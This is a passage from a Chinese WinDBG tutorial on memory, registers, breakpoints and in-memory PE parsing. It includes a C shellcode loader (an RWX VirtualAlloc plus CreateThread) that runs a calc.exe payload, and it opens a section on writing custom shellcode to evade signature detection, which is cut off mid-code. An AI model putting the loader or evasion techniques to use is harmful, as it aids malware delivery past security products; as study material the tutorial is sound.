0000005c`12a9ef80  41414141
0:000> da rsp
0000005c`12a9ef80  "AAAA"
0:000> ea rsp "BBBB"
0:000> da rsp
0000005c`12a9ef80  "BBBB"


搜索内存空间

当我们想在内存空间里搜索特定的字节序列或者字符串,可以使用 s 命令。我们可以指定不同的数据类型、内存范围、要搜索的内容。例如,在 x64 下,在所有用户态内存空间中搜索字符串 "dl3r",命令语句如下:

s -a 0 L?0x7fffffffffffffff "dl3r"

image.png

因为内存空间十分庞大,我们最好能在更精确的范围中进行搜索。


检视寄存器

我们可以使用命令 r 来查看所有寄存器,或者 r <寄存器> 查看单个寄存器。伪寄存器也可以用 r 命令来查看。

2:008> r
rax=0000000000000000 rbx=00007ffb80abcc50 rcx=00007ffb80a0f0f4
rdx=0000000000000000 rsi=000000b6da72e000 rdi=00007ffb80aa6c08
rip=00007ffb80a4cea4 rsp=000000b6da4ceda0 rbp=0000000000000000
 r8=000000b6da4ced98  r9=0000000000000000 r10=0000000000000000
r11=0000000000000246 r12=0000000000000040 r13=0000000000000001
r14=000001bf3e860000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!LdrpDoDebuggerBreak+0x30:
00007ffb`80a4cea4 cc              int     3
2:008> r rip
rip=00007ffb80a4cea4
2:008> r $peb
$peb=000000b6da72e000


计算器

WinDBG 的命令 ? <表达式> 可用作计算器,实现算数运算进制转换等任务。

image.png

命令 .formats <数据> 可将给定数值转换为不同数据类型:

image.png


列举模块

我们可以使用命令 lm 来列举当前进程载入的所有模块,或者检视指定的模块。使用命令 x 来查看模块中的符号

2:008> lm
start             end                 module name
00007ff6`4ba90000 00007ff6`4baea000   notepad    (pdb symbols)          C:\ProgramData\Dbg\sym\notepad.pdb\C694C0AA7279CC672966901283BF50541\notepad.pdb
00007ffb`6c470000 00007ffb`6c6fe000   COMCTL32   (deferred)             
00007ffb`7dd70000 00007ffb`7de0a000   msvcp_win   (deferred)             
00007ffb`7de10000 00007ffb`7df21000   ucrtbase   (deferred)             
00007ffb`7dff0000 00007ffb`7e016000   win32u     (deferred)             
00007ffb`7e020000 00007ffb`7e139000   gdi32full   (deferred)             
00007ffb`7e3a0000 00007ffb`7e743000   KERNELBASE   (pdb symbols)          C:\ProgramData\Dbg\sym\kernelbase.pdb\69B5D8B50C7EA66AAE7105C36531C37F1\kernelbase.pdb
00007ffb`7e930000 00007ffb`7eadb000   USER32     (deferred)             
00007ffb`7eae0000 00007ffb`7eb87000   msvcrt     (deferred)             
00007ffb`7fbb0000 00007ffb`7fc54000   sechost    (deferred)             
00007ffb`7fd40000 00007ffb`7fd69000   GDI32      (deferred)             
00007ffb`7fd70000 00007ffb`7fe32000   KERNEL32   (deferred)             
00007ffb`7ff70000 00007ffb`80061000   shcore     (deferred)             
00007ffb`80180000 00007ffb`8022e000   advapi32   (deferred)             
00007ffb`80230000 00007ffb`80347000   RPCRT4     (deferred)             
00007ffb`80510000 00007ffb`80899000   combase    (deferred)             
00007ffb`80970000 00007ffb`80b84000   ntdll      (pdb symbols)          C:\ProgramData\Dbg\sym\ntdll.pdb\ACBBF75A6C22094871DD84500F4F58F91\ntdll.pdb
2:008> lm m kernel*
Browse full module list
start             end                 module name
00007ffb`7e3a0000 00007ffb`7e743000   KERNELBASE   (pdb symbols)          C:\ProgramData\Dbg\sym\kernelbase.pdb\69B5D8B50C7EA66AAE7105C36531C37F1\kernelbase.pdb
00007ffb`7fd70000 00007ffb`7fe32000   KERNEL32   (deferred)             
2:008> x kernelbase!CreateProcess*
00007ffb`7e465717 KERNELBASE!CreateProcessInternalA$filt$1 (void)
00007ffb`7e4656f7 KERNELBASE!CreateProcessInternalA$filt$0 (void)
00007ffb`7e426e2c KERNELBASE!CreateProcessExtensions::ReleaseAppXContext (void)
00007ffb`7e3e0230 KERNELBASE!CreateProcessInternalW (void)
00007ffb`7e425840 KERNELBASE!CreateProcessInternalA (void)
00007ffb`7e462f6b KERNELBASE!CreateProcessInternalW$filt$1 (void)
00007ffb`7e4ffb20 KERNELBASE!CreateProcessWithTokenW (void)
00007ffb`7e462f91 KERNELBASE!CreateProcessInternalW$fin$2 (void)
00007ffb`7e4ffa90 KERNELBASE!CreateProcessAsUserA (void)
00007ffb`7e462f05 KERNELBASE!CreateProcessInternalW$fin$0 (void)
00007ffb`7e3e98e4 KERNELBASE!CreateProcessExtensions::PreCreationExtension (void)
00007ffb`7e4ffac0 KERNELBASE!CreateProcessAsUserW (void)
00007ffb`7e4ffaf0 KERNELBASE!CreateProcessWithLogonW (void)
00007ffb`7e465737 KERNELBASE!CreateProcessInternalA$fin$2 (void)
00007ffb`7e4d9880 KERNELBASE!CreateProcessExtensions::ErrorContext::LogError (public: void __cdecl CreateProcessExtensions::ErrorContext::LogError(long,struct Common::COMMON_STRING *))
00007ffb`7e4d9424 KERNELBASE!CreateProcessExtensions::CreateSharedLocalFolder (public: static long __cdecl CreateProcessExtensions::CreateSharedLocalFolder(struct Common::COMMON_STRING const &))
00007ffb`7e4f7ad0 KERNELBASE!CreateProcessAsUserA (CreateProcessAsUserA)
00007ffb`7e4257c0 KERNELBASE!CreateProcessA (CreateProcessA)
00007ffb`7e4231b0 KERNELBASE!CreateProcessAsUserW (CreateProcessAsUserW)
00007ffb`7e41fe80 KERNELBASE!CreateProcessW (CreateProcessW)



调用栈

有以下这么一个程序,执行了弹出 calc.exe 的 Shellcode。在 main 函数中,调用了 calc_exec 函数,而在 calc_exec 函数中,调用了数个 Windows API 来实现 Shellcode 执行。


#include <windows.h>
#include <stdlib.h>
#include <iostream>


unsigned char shellcode[] = {
  0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
  0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
  0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
  0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
  0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
  0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
  0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
  0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
  0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
  0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
  0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
  0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
  0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
  0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
  0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
  0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
  0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
  0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
  0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
  0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
  0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};

void calc_exec()
{
    int length = sizeof(shellcode);
    void* exec = VirtualAlloc(0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    RtlMoveMemory(exec, shellcode, length);
    HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
    WaitForSingleObject(th, 0xFFFFFFFF);
}

int main() {
    calc_exec();

    return 0;
}


在程序执行过程中,如果有地方报错了,我们可以根据函数的调用次序来追踪问题。例如,当程序执行到 WaitForSingleObject 处的时候,使用 WinDBG 命令 k 或者查看 WinDBG 栈窗口,我们可以清晰地看到调用次序:

image.png

image.png

对于调用栈的检视也是检测恶意软件行为的方式之一,尤其是用于检测 syscall 的调用。因为我们之前说过,用户态应用程序很少会直接使用 syscall,一般是 WinAPI -> NTAPI -> 内核。恶意软件开发者会通过 syscall 的调用绕过安全产品的检视,但如果检视调用栈,会发现端倪:NTAPI 的前一链并非对应的 WINAPI。



TEB 与 PEB

查看当前线程的 TEB/PEB,既可以执行命令 !teb/!peb,也可以使用 dt 命令查看。

1:001> !teb
TEB at 000000d59498e000
    ExceptionList:        0000000000000000
    StackBase:            000000d594e00000
    StackLimit:           000000d594dfc000
    SubSystemTib:         0000000000000000
    FiberData:            0000000000001e00
    ArbitraryUserPointer: 0000000000000000
    Self:                 000000d59498e000
    EnvironmentPointer:   0000000000000000
    ClientId:             0000000000007ad4 . 000000000000af5c
    RpcHandle:            0000000000000000
    Tls Storage:          0000022969a05290
    PEB Address:          000000d59498d000
    LastErrorValue:       0
    LastStatusValue:      c000000d
    Count Owned Locks:    0
    HardErrorMode:        0
1:001> dt ntdll!_TEB @$teb
   +0x000 NtTib            : _NT_TIB
   +0x038 EnvironmentPointer : (null) 
   +0x040 ClientId         : _CLIENT_ID
   +0x050 ActiveRpcHandle  : (null) 
   +0x058 ThreadLocalStoragePointer : 0x00000229`69a05290 Void
   +0x060 ProcessEnvironmentBlock : 0x000000d5`9498d000 _PEB
............
   +0x1838 LastSleepCounter : 0
   +0x1840 SpinCallCount    : 0
   +0x1844 Padding8         : [4]  ""
   +0x1848 ExtendedFeatureDisableMask : 0

使用 !teb 命令,我们可以更加容易看到当前线程的栈的区间



内存状态

命令 !address <内存地址> !vprot <内存地址> 可以显示有关给定内存地址的相关信息。!address 命令为我们提供有关特定内存地址或范围的详细信息,包括内存区域的类型 (堆、堆栈、映像等)、区域的大小内存权限 (读、写、执行权限) 以及内存的状态 (提交、保留、空闲)。 该命令显示的信息更加全面。

如果我们想快速地查看特定内存的权限和状态,!vprot 命令则更加直接和方便。

0:004> !address kernelbase!createprocessa

Usage:                  Image
Base Address:           00007ffb`7e3a1000
End Address:            00007ffb`7e530000
Region Size:            00000000`0018f000 (   1.559 MB)
State:                  00001000          MEM_COMMIT
Protect:                00000020          PAGE_EXECUTE_READ
Type:                   01000000          MEM_IMAGE
Allocation Base:        00007ffb`7e3a0000
Allocation Protect:     00000080          PAGE_EXECUTE_WRITECOPY
Image Path:             C:\Windows\System32\KERNELBASE.dll
Module Name:            KERNELBASE
Loaded Image Name:      C:\Windows\System32\KERNELBASE.dll
Mapped Image Name:      
More info:              lmv m KERNELBASE
More info:              !lmi KERNELBASE
More info:              ln 0x7ffb7e4257c0
More info:              !dh 0x7ffb7e3a0000


Content source: 1 (target), length: 10a840
0:004> !vprot kernelbase!createprocessa
BaseAddress:       00007ffb7e425000
AllocationBase:    00007ffb7e3a0000
AllocationProtect: 00000080  PAGE_EXECUTE_WRITECOPY
RegionSize:        000000000010b000
State:             00001000  MEM_COMMIT
Protect:           00000020  PAGE_EXECUTE_READ
Type:              01000000  MEM_IMAGE



软件断点

断点用于暂停程序的执行,当在特定地址设置软件断点时,调试器会用 int 3 指令替换该地址处的指令,该指令在执行时会导致执行暂停。调试器还记录它替换的指令,并在到达断点时恢复原始指令。在 WinDBG 中,我们可以使用命令 bp <地址> 来在特定内存地址处设置软件断点,当到达断点处,程序会被暂停,我们从而可以检视这个时刻的程序运行状态。

image.png

此外,命令 bl 用于罗列所有断点,bc 用于清除断点,bd 用于暂时禁用断点,而 be 用于重新启用断点。

image.png

WinDBG 也提供了查看断点的窗口:

image.png

不过,有时候应用程序不会在运行时就自动载入所有的模块,而是在后续运行中载入,考虑如下代码:

#include <iostream>
#include <windows.h>

typedef void (*calc_export)();

void run()
{
    HMODULE hModule = LoadLibraryA("D:\\tooling\\dllcpp\\x64\\Release\\dllcpp.dll");
    calc_export calc_ptr = (calc_export)GetProcAddress(hModule, "calc_export");
    calc_ptr();
}


int main()
{
    run();
}

因此,如果我们试图给 dllcpp!calc_export 设置断点,我们会被告知无法解析符号。对此,我们可以改用 bu 命令,表示给尚未解析的符号设置断点。

0:000> lm
start             end                 module name
00007ff6`68720000 00007ff6`68727000   dll_load C (private pdb symbols)  C:\ProgramData\Dbg\sym\dll_load.pdb\105D812B10354E099F90E97E006DF74A9\dll_load.pdb
00007ffb`63eb0000 00007ffb`63ecb000   VCRUNTIME140   (deferred)             
00007ffb`7de10000 00007ffb`7df21000   ucrtbase   (deferred)             
00007ffb`7e3a0000 00007ffb`7e743000   KERNELBASE   (deferred)             
00007ffb`7fd70000 00007ffb`7fe32000   KERNEL32   (deferred)             
00007ffb`80970000 00007ffb`80b84000   ntdll      (pdb symbols)          C:\ProgramData\Dbg\sym\ntdll.pdb\ACBBF75A6C22094871DD84500F4F58F91\ntdll.pdb
0:000> bp dllcpp!calc_export
Bp expression 'dllcpp!calc_export' could not be resolved, adding deferred bp
0:000> bc *
0:000> bu dllcpp!calc_export
0:000> g
*** WARNING: Unable to verify checksum for D:\tooling\dllcpp\x64\Release\dllcpp.dll
ModLoad: 00007ffb`13450000 00007ffb`13457000   D:\tooling\dllcpp\x64\Release\dllcpp.dll
Breakpoint 0 hit
dllcpp!calc_export:
00007ffb`13451000 4053            push    rbx


单步执行

在调试过程中,我们除了使用 g 来继续执行外,还可以单次执行下一条执行。那么,如果当前落入到调用函数的这条指令,下一步究竟是执行调用函数的指令的下一条指令,还是函数内的第一条指令呢?这就是命令 p 和命令 t 的区别

编译如下代码,并用 WinDBG 执行。

#include <iostream>
#include <windows.h>



void fun(int num)
{
    printf("In function fun\n");
    if (num == 2)
    {
        printf("num = 2!\n");
    }
}


int main()
{
    int a = 1;
    int num = 2;
    if (a < 2)
    {
        fun(num);
    }

}

在编译时,我们需要禁用优化,因为我们使用了一些常数,编译器会简化程序流程以提升性能

image.png

反汇编后的主函数如下所示,我们单次执行到 call step!fun 指令。

image.png

使用命令 p,会执行调用函数的指令的下一条指令 xor eax, eax

image.png

而如果使用命令 t,会进入函数 fun 并且到达函数内的第 1 条指令 mov  [rsp+8], ecx

image.png

当下一条指令并不是调用函数的指令,那么 p 与 t 效果相同。


执行至

我们已经知道了 p 的作用是执行下一条指令,实际上我们还可以指定调试器运行至下一个分支,或下一个返回指令

使用 ph 指令,可以执行至下一个分支,如下图所示,执行到了 jge step!main+0x24 指令处。

image.png

pt 指令,可以执行至下一个返回指令,即 ret 指令处。

image.png


解析 PE

我们还可以使用 WinDBG 在内存中解析 PE 文件。PE 文件被映射到内存中以被执行,这是一个将文件的特定元素逐字节复制到内存中的过程,PE 格式包含了加载程序用来完成此操作的信息。

例如,可选头中的 ImageBase 包含映射在内存中的起始地址,SectionAlignment 包含内存中各节的对齐系数,ImageSize 包含整个映像所需的内存量等。可选头还包含数据目录,有着诸多重要数据结构的 RVA, 使得它们可以在内存中被快速定位到。同样,节头也包含重要信息,例如 VirtualSize 包含内存中该节的大小,VirtualAddress 表示其 RVA。

PE 格式的数据结构在磁盘上与在内存中基本相同,但也存在一些例外以及造成的重要差异。造成这些差异的原因有几个,第 1 个是当文件在磁盘和内存中时不同的对其系数,这意味着相同的数据可能位于磁盘和内存中的不同偏移处。第 2 个原因是并非文件的所有元素都被映射到内存。例如,调试信息可能就不会被映射到内存。此外,个别字段由加载程序更新,例如 IAT 的条目。尽管一些元素在内存中的偏移量可能与在磁盘上的偏移量不完全相同,但这些元素的顺序是一致的。


PE 头

载入一我们在之前内容中编译的文件,查看导入的模块列表:

image.png

使用命令 dt ntdll!_IMAGE_DOS_HEADER <内存地址> 检视主程序的 DOS 头

0:000> dt ntdll!_IMAGE_DOS_HEADER 00007ff7`cc8b0000
   +0x000 e_magic          : 0x5a4d
   +0x002 e_cblp           : 0x90
   +0x004 e_cp             : 3
   +0x006 e_crlc           : 0
   +0x008 e_cparhdr        : 4
   +0x00a e_minalloc       : 0
   +0x00c e_maxalloc       : 0xffff
   +0x00e e_ss             : 0
   +0x010 e_sp             : 0xb8
   +0x012 e_csum           : 0
   +0x014 e_ip             : 0
   +0x016 e_cs             : 0
   +0x018 e_lfarlc         : 0x40
   +0x01a e_ovno           : 0
   +0x01c e_res            : [4] 0
   +0x024 e_oemid          : 0
   +0x026 e_oeminfo        : 0
   +0x028 e_res2           : [10] 0
   +0x03c e_lfanew         : 0n240

0x3c 处的 e_lfanew 值为十进制的 240,即 0xf0

image.png

接着,查看 NT 头:dt ntdll!_IMAGE_NT_HEADERS64 <内存地址>

0:000> dt ntdll!_IMAGE_NT_HEADERS64 00007ff7`cc8b0000+0xf0
   +0x000 Signature        : 0x4550
   +0x004 FileHeader       : _IMAGE_FILE_HEADER
   +0x018 OptionalHeader   : _IMAGE_OPTIONAL_HEADER64

我们可以用这样的方法继续检视其他部分:

0:000> dt ntdll!_IMAGE_OPTIONAL_HEADER64 00007ff7`cc8b0000+0xf0+0x18
   +0x000 Magic            : 0x20b
   +0x002 MajorLinkerVersion : 0xe ''
   +0x003 MinorLinkerVersion : 0x24 '$'
   +0x004 SizeOfCode       : 0xe00
   +0x008 SizeOfInitializedData : 0x1e00
   +0x00c SizeOfUninitializedData : 0
   +0x010 AddressOfEntryPoint : 0x1300
   +0x014 BaseOfCode       : 0x1000
   +0x018 ImageBase        : 0x00007ff7`cc8b0000
   +0x020 SectionAlignment : 0x1000
   +0x024 FileAlignment    : 0x200
   +0x028 MajorOperatingSystemVersion : 6
   +0x02a MinorOperatingSystemVersion : 0
   +0x02c MajorImageVersion : 0
   +0x02e MinorImageVersion : 0
   +0x030 MajorSubsystemVersion : 6
   +0x032 MinorSubsystemVersion : 0
   +0x034 Win32VersionValue : 0
   +0x038 SizeOfImage      : 0x7000
   +0x03c SizeOfHeaders    : 0x400
   +0x040 CheckSum         : 0
   +0x044 Subsystem        : 3
   +0x046 DllCharacteristics : 0x8160
   +0x048 SizeOfStackReserve : 0x100000
   +0x050 SizeOfStackCommit : 0x1000
   +0x058 SizeOfHeapReserve : 0x100000
   +0x060 SizeOfHeapCommit : 0x1000
   +0x068 LoaderFlags      : 0
   +0x06c NumberOfRvaAndSizes : 0x10
   +0x070 DataDirectory    : [16] _IMAGE_DATA_DIRECTORY

但 WinDBG 的 !dh 命令更加方便,我们可以轻松地检视 PE 的元素,WinDBG 已经帮我们计算好了各种需要偏移值

image.png

例如,我们可以使用命令 !dh -f <模块基址> 来检视文件头可选头的信息:

0:000> !dh -f 00007ff7`cc8b0000

File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
    8664 machine (X64)
       6 number of sections
64A36813 time date stamp Mon Jul  3 20:30:11 2023

       0 file pointer to symbol table
       0 number of symbols
      F0 size of optional header
      22 characteristics
            Executable
            App can handle >2gb addresses

OPTIONAL HEADER VALUES
     20B magic #
   14.36 linker version
     E00 size of code
    1E00 size of initialized data
       0 size of uninitialized data
    1300 address of entry point
    1000 base of code
         ----- new -----
00007ff7cc8b0000 image base
    1000 section alignment
     200 file alignment
       3 subsystem (Windows CUI)
    6.00 operating system version
    0.00 image version
    6.00 subsystem version
    7000 size of image
     400 size of headers
       0 checksum
0000000000100000 size of stack reserve
0000000000001000 size of stack commit
0000000000100000 size of heap reserve
0000000000001000 size of heap commit
    8160  DLL characteristics
            High entropy VA supported
            Dynamic base
            NX compatible
            Terminal server aware
       0 [       0] address [size] of Export Directory
    28BC [      A0] address [size] of Import Directory
    5000 [     1E0] address [size] of Resource Directory
    4000 [     168] address [size] of Exception Directory
       0 [       0] address [size] of Security Directory
    6000 [      30] address [size] of Base Relocation Directory
    23B0 [      70] address [size] of Debug Directory
       0 [       0] address [size] of Description Directory
       0 [       0] address [size] of Special Directory
       0 [       0] address [size] of Thread Storage Directory
    2270 [     140] address [size] of Load Configuration Directory
       0 [       0] address [size] of Bound Import Directory
    2000 [     1B0] address [size] of Import Address Table Directory
       0 [       0] address [size] of Delay Import Directory
       0 [       0] address [size] of COR20 Header Directory
       0 [       0] address [size] of Reserved Directory

与 PE Bear 中进行比对,我们发现数据是吻合的,但是 Image Base 并不相同,因为 PE Bear 中显示的是偏好基址,不一定是实际情况。

image.png

偏好基址的偏移应当是 NT 头偏移 + 可选头偏移 + ImageBase 偏移,即 0xf0 + 0x18 + 0x18,我们可以看到,该内存中的值确实是基址,然后模块的大小也确实是 0x7000 字节。

image.png

PE 节

接下来,我们来检视内存中的 PE 节,命令是 !dh -s <模块基址>

0:000> !dh -s 00007ff7`cc8b0000

SECTION HEADER #1
   .text name
     D6C virtual size
    1000 virtual address
     E00 size of raw data
     400 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
60000020 flags
         Code
         (no align specified)
         Execute Read

SECTION HEADER #2
  .rdata name
     F84 virtual size
    2000 virtual address
    1000 size of raw data
    1200 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
40000040 flags
         Initialized Data
         (no align specified)
         Read Only


Debug Directories(4)
	Type       Size     Address  Pointer
	cv           51        24d4     16d4	Format: RSDS, guid, 16, D:\tooling\cpp_messagebox\x64\Release\cpp_messagebox.pdb
	(   12)      14        2528     1728
	(   13)     284        253c     173c
	(   14)       0           0        0

SECTION HEADER #3
   .data name
     758 virtual size
    3000 virtual address
     200 size of raw data
    2200 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
C0000040 flags
         Initialized Data
         (no align specified)
         Read Write

SECTION HEADER #4
  .pdata name
     168 virtual size
    4000 virtual address
     200 size of raw data
    2400 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
40000040 flags
         Initialized Data
         (no align specified)
         Read Only

SECTION HEADER #5
   .rsrc name
     1E0 virtual size
    5000 virtual address
     200 size of raw data
    2600 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
40000040 flags
         Initialized Data
         (no align specified)
         Read Only

SECTION HEADER #6
  .reloc name
      30 virtual size
    6000 virtual address
     200 size of raw data
    2800 file pointer to raw data
       0 file pointer to relocation table
       0 file pointer to line numbers
       0 number of relocations
       0 number of line numbers
42000040 flags
         Initialized Data
         Discardable
         (no align specified)
         Read Only

对照 PE Bear 中的数据,是吻合的。

image.png

在可选头中,我们可以知道 .text 节的 RVA,是 0x1000。接着用 WinDBG 查看距离模块基址 0x1000 字节处的内容,我们发现与 PE Bear 中文件 .text 节的数据吻合。

image.png

image.png

image.png



导入与导出

使用命令 !dh -i <模块基址> 查看当前进程主程序的导入信息:

0:000> !dh -i 00007ff7`cc8b0000
  _IMAGE_IMPORT_DESCRIPTOR 00007ff7cc8b28bc
    KERNEL32.dll
      00007FF7CC8B2000 Import Address Table
      00007FF7CC8B2960 Import Name Table
                     0 time date stamp
                     0 Index of first forwarder reference

       00007FFB7FD83EF0  5F1 VirtualAlloc
       00007FFB7FD906D0  602 WaitForSingleObject
       00007FFB7FD847B0   FB CreateThread
       00007FFB7FD85840  4F1 RtlLookupFunctionEntry
       00007FFB7FD83EA0  4F8 RtlVirtualUnwind
       00007FFB7FDAC700  5D8 UnhandledExceptionFilter
       00007FFB7FD88E30  597 SetUnhandledExceptionFilter
       00007FFB7FD90460  22A GetCurrentProcess
       00007FFB7FD89AC0  5B6 TerminateProcess
       00007FFB7FD87240  39E IsProcessorFeaturePresent
       00007FFB7FD869B0  28C GetModuleHandleW
       00007FFB7FD88220  397 IsDebuggerPresent
       00007FFB809E08C0  381 InitializeSListHead
       00007FFB7FD81230  301 GetSystemTimeAsFileTime
       00007FFB7FD72750  22F GetCurrentThreadId
       00007FFB7FD90470  22B GetCurrentProcessId
       00007FFB7FD80F80  464 QueryPerformanceCounter
       00007FFB7FD90290  4E9 RtlCaptureContext

 ............

  _IMAGE_IMPORT_DESCRIPTOR 00007ff7cc8b2934
    api-ms-win-crt-heap-l1-1-0.dll
      00007FF7CC8B20D0 Import Address Table
      00007FF7CC8B2A30 Import Name Table
                     0 time date stamp
                     0 Index of first forwarder reference

       00007FFB7DE39240   16 _set_new_mode

以导入的 kernel32.dll 模块为例,使用命令 dds <DLL 的 IAT 地址> 查看该 DLL 的 IAT,发现与 !dh 命令的输出吻合。

image.png

IAT 在磁盘与内存中的结构相同,我们可以得到 IAT 的偏移为 IAT 的虚拟内存地址 - (模块基址 + rdata节 RVA) = 00007ff7`dc7f2000 - (00007ff7`dc7f0000+ 2000) = 0。可能因为当前程序较为简单,因此 rdata 刚开始就是 IAT。

image.png

在 PE Bear 中查看 IAT 表的第 1 个条目,因为 kernel32 模块的函数都是通过名称导入的,我们得到的是 Hint/Name 表的 RVA,这里是 0x2b10

image.png

image.png

因为 Hint/Name 表的 Name 成员在 0x2 偏移处,因此函数的名称位于 基址 + 2b10 +2 处。

image.png

接下来,我们来查看载入内存的 PE 文件的导出数据,以 kernel32 为例。

0:000> lm m kernel32
Browse full module list
start             end                 module name
00007ffb`7fd70000 00007ffb`7fe32000   KERNEL32   (pdb symbols)          C:\ProgramData\Dbg\sym\kernel32.pdb\7FB3DEE4119B1AEEB148EB77866A99371\kernel32.pdb
0:000> !dh -e 00007ffb`7fd70000
_IMAGE_EXPORT_DIRECTORY 00007ffb7fe0d560 (size: 0000e8f4)
Name: KERNEL32.dll 
Characteristics: 00000000 Ordinal base: 1.
Number of Functions: 1671. Number of names: 1671. EAT: 00007ffb7fe0d588.
   ordinal hint target           name
         1    0          AcquireSRWLockExclusive (forwarded to NTDLL.RtlAcquireSRWLockExclusive)
         2    1          AcquireSRWLockShared (forwarded to NTDLL.RtlAcquireSRWLockShared)
         3    2 00007FFB7FD88D90 ActivateActCtx
         4    3 00007FFB7FD84A50 ActivateActCtxWorker
         5    4 00007FFB7FD91580 ActivatePackageVirtualizationContext
         6    5 00007FFB7FDCA670 AddAtomA
         7    6 00007FFB7FD745E0 AddAtomW
         8    7 00007FFB7FD91290 AddConsoleAliasA
         9    8 00007FFB7FD912A0 AddConsoleAliasW
        10    9          AddDllDirectory (forwarded to api-ms-win-core-libraryloader-l1-1-0.AddDllDirectory)
        11   10 00007FFB7FDAC900 AddIntegrityLabelToBoundaryDescriptor
        12   11 00007FFB7FDCA790 AddLocalAlternateComputerNameA
        13   12 00007FFB7FDCA7F0 AddLocalAlternateComputerNameW
        14   13 00007FFB7FDAA860 AddRefActCtx
        15   14 00007FFB7FD87260 AddRefActCtxWorker
        16   15 00007FFB7FDAA880 AddResourceAttributeAce
        17   16 00007FFB7FD8F890 AddSIDToBoundaryDescriptor
        18   17 00007FFB7FDAA8A0 AddScopedPolicyIDAce
        19   18 00007FFB7FDA80D0 AddSecureMemoryCacheCallback
        20   19          AddVectoredContinueHandler (forwarded to NTDLL.RtlAddVectoredContinueHandler)
        21   20          AddVectoredExceptionHandler (forwarded to NTDLL.RtlAddVectoredExceptionHandler)
............
      1667 1666 00007FFB7FDA6970 uaw_wcschr
      1668 1667 00007FFB7FDA69A0 uaw_wcscpy
      1669 1668 00007FFB7FDA69E0 uaw_wcsicmp
      1670 1669 00007FFB7FDA6A00 uaw_wcslen
      1671 1670 00007FFB7FDA6A30 uaw_wcsrchr

根据之前的结论,我们定位到导出目录的 RVA,是 0x9d560

image.png

image.png

接着,我们得到了模块名称的 RVA 进而得到模块名称字符串

image.png

函数的数量,以及函数名称数量都为 687:

image.png

image.png

得到 EAT 的 RVA,访问 EAT,并得到第 1 个函数的 RVA,依旧与 PE Bear 中显示的相同。

image.png

image.png

得到 ENPT 的 RVA,并访问 ENPT,得到第 1 个函数名称的 RVA,进而得到该函数名称的字符串:

image.png

最后,得到序数表的 RVA,并访问序数表:

image.png


Shellcode 编写 - 1

背景

一般来说,如果我们需要执行 Shellcode,会通过各自的 C2 或者 msfvenom 来生成,但因为这些工具大部分都是开源的,即便是商业工具,也会因为样本的提交导致 Shellcode 的特征被标记。

image.png

image.png

因此,编写自定义的 Shellcode 可以实现更多的灵活性以及特征规避,同时也很有趣。


测试方法

使用 Keystone 引擎,可以让 Shellcode 的编写更加流畅。Keystone 是一个汇编框架,可以与多种语言绑定,包括 Python。这样的话,我们可以在 Python 脚本中写入汇编代码,然后让 Keystone 框架完成剩下的任务。

我们首先需要通过 pip 安装 keystone 引擎:

pip3 install keystone-engine

然后使用如下的脚本模板,我们需要做的是在 CODE 变量中写入汇编代码。之后,汇编代码会被转换为 Shellcode 并被 CType 库所调用的 API 执行。

import ctypes, struct
from keystone import *

CODE = (
    " start:                             "  #
